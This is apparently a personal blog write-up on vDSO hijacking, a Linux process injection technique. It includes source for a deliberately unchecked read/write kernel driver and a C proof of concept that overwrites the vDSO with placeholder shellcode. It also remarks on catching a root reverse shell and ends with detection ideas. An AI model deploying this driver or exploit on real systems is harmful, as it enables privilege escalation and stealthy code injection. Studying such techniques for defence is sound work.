vDSO Hijacking
Introduction
→ I was going through different process injection techniques on MITRE ATT&CK and noticed that some were barely documented. Thought it’d be a good idea to dig into them and write about what I find.
I considered looking into vDSO but saw it was a Linux process injection technique. Since I’m not too familiar with Linux internals( I use Arch btw 😎) , I wasn’t too confident at first, but this seemed like a good chance to learn about internals.
What is vDSO?
→ vDSO stands for Virtual Dynamic Shared Object—think of it like a DLL, but for Linux. Unlike regular shared objects, vDSO is mapped into a process’s memory by the kernel and provides a shortcut for certain system calls, specifically to improve performance.
→ Normally, when a user-space application makes a system call, it has to transition into kernel mode, which incurs some overhead. vDSO allows certain frequently used system calls—like gettimeofday() and clock_gettime()—to be executed directly in user space, avoiding the costly context switch. Instead of making a full syscall and switching to kernel mode, the application simply reads the required time value from a memory page mapped by the kernel.
1
2
3
4
5
6
7
8
9
struct vdso_data {
uint32_t seq; // Sequence counter for consistency
uint64_t clock_mode; // Clock mode (TSC, HPET, etc.)
uint64_t cycle_last; // Last known cycle count
uint64_t mask; // Mask for time computation
uint64_t mult; // Multiplier for time calculation
uint64_t shift; // Bit shift for time conversion
struct timespec base; // Base time for calculations
};
→ It’s important to understand how vDSO is mapped unto the memory of a running process. We can see that it occupies 8 KB (0x2000 bytes) in memory. It’s Readable (r) and Executable (x) but not writable (-). Since vDSO is not an actual file on disk, the offset is typically zero and this mapping allows user-space applications to call vDSO functions without requiring a full context switch to kernel mode.
The vDSO is mapped with
r-x
permissions by the kernel, hence not writable from user space. We bypass this using our custom vulnerable kernel driver.
vDSO Hijacking
→ While looking on internet I could hardly find resources to find a working PoC. I did come up with few good papers and few blogs that helped me understand the concept.
→ Since vDSO is mapped into every process by the kernel, it can be a target vector. By modifying or replacing the vDSO memory mapping, an attacker can execute arbitrary code whenever a process calls a vDSO function like gettimeofday() or clock_gettime().
- Exploit an arbitrary read vulnerability to locate the vDSO within the randomized process address space.
- Use an arbitrary write primitive to overwrite the gettimeofday() function with our shellcode.
- Wait for a privileged process to invoke gettimeofday().
- Capture the resulting root shell when the malicious payload executes.
→ Before we jump to the actual hijack, we need a way to read and write arbitary memory. For that, we can write a simple kernel module that exposes an IOCTL interface that can arbitrarily read and write.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#define DEVICE_NAME "rw_kernel_module"
long device_ioctl(struct file *file, unsigned int cmd, unsigned long arg) {
struct vunl *v = (struct vunl *)arg;
switch (cmd) {
case CHANGE_POINT:
target = v->point;
break;
case RW_READ:
copy_to_user(v->point, target, v->size);
break;
case RW_WRITE:
copy_from_user(target, v->point, v->size);
break;
}
return 0;
}
- Remember the module has no bounds checking for the pointer redirection. We can compile and insert using insmod and the driver is created at /dev/rw_kernel_module which can further be used.
Exploiting vDSO
→ Now that we have our vulnerable kernel driver ready, we can leverage it further.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
#define _GNU_SOURCE
#include <stdio.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/ioctl.h>
#include <sys/auxv.h>
#include <sys/mman.h>
#define CHANGE_POINT 0x100000
#define RW_READ 0x100001
#define RW_WRITE 0x100002
struct vunl {
char *point;
size_t size;
} VUNL;
char shellcode[] =
" our shellcode here "
size_t get_vdso_address() {
size_t addr = getauxval(AT_SYSINFO_EHDR);
if (!addr) {
puts("[-] Unable to get vDSO address");
exit(1);
}
printf("[+] vDSO address: 0x%lx\n", addr);
return addr;
}
int main() {
int fd = open("/dev/rw_any_dev", O_RDWR);
if (fd < 0) {
perror("[-] Cannot open device");
return 1;
}
char *buf = malloc(0x1000);
size_t vdso_addr = get_vdso_address();
VUNL.point = (char *)vdso_addr;
VUNL.size = 0x1000;
ioctl(fd, CHANGE_POINT, &VUNL);
ioctl(fd, RW_READ, buf);
sleep(1);
printf("[+] Overwriting vDSO at: %p\n", VUNL.point);
VUNL.size = strlen(shellcode);
ioctl(fd, RW_WRITE, shellcode);
sleep(1);
puts("[+] Shellcode injected. Checking execution...");
((void (*)())vdso_addr)();
return 0;
}
- The shellcode uses
execve
to spawn/bin/sh
1. - We fetch the base address of the vDSO region using
getauxval(AT_SYSINFO_EHDR)
, which gives us an entry point into the memory-mapped vDSO. - We open the driver and first read from the vDSO region.
- We overwrite the beginning of vDSO (which has gettimeofday()) with our shellcode.
- Since the vDSO is executable (r-xp) by default, the shellcode can now run from there.
💡 In a production exploit chain, you’d wait for a root process to naturally invoke a vDSO function, like gettimeofday() — then catch the reverse shell and escalate.
Why mprotect() doesn’t work
→ If you try to use mprotect()
to make the vDSO region writable, you’ll get a Permission denied
. This is because the kernel maps it with special flags (VM_SPECIAL), and user space is not allowed to change them. That’s why we need a kernel driver or root-level memory write primitive to modify the vDSO.
Real World Detection
→ This technique is very stealthy, but it’s not completely invisible. You can detect vDSO tampering via:
- Integrity checks on the vDSO page (comparing with known-good memory dumps).
- Runtime syscall tracing (via
auditd
,strace
, or eBPF probes). - Unusual memory execution patterns flagged by EDR solutions (although rare).
- This technique assumes arbitrary kernel memory write, typically achieved through a vulnerable driver or LPE.
- ASLR randomizes vDSO base address;
getauxval()
bypasses this.- Since very few defenders look at vDSO, this can bypass many traditional detection systems.
Thanks for reading this analysis! ❤️
Feel free to connect with me on:
Discord: somedieyoungzz
Twitter: @IdaNotPro
The shellcode uses
execve("/bin/sh")
to spawn a shell. You can swap it for reverse shell code or anything else depending on your use case. ↩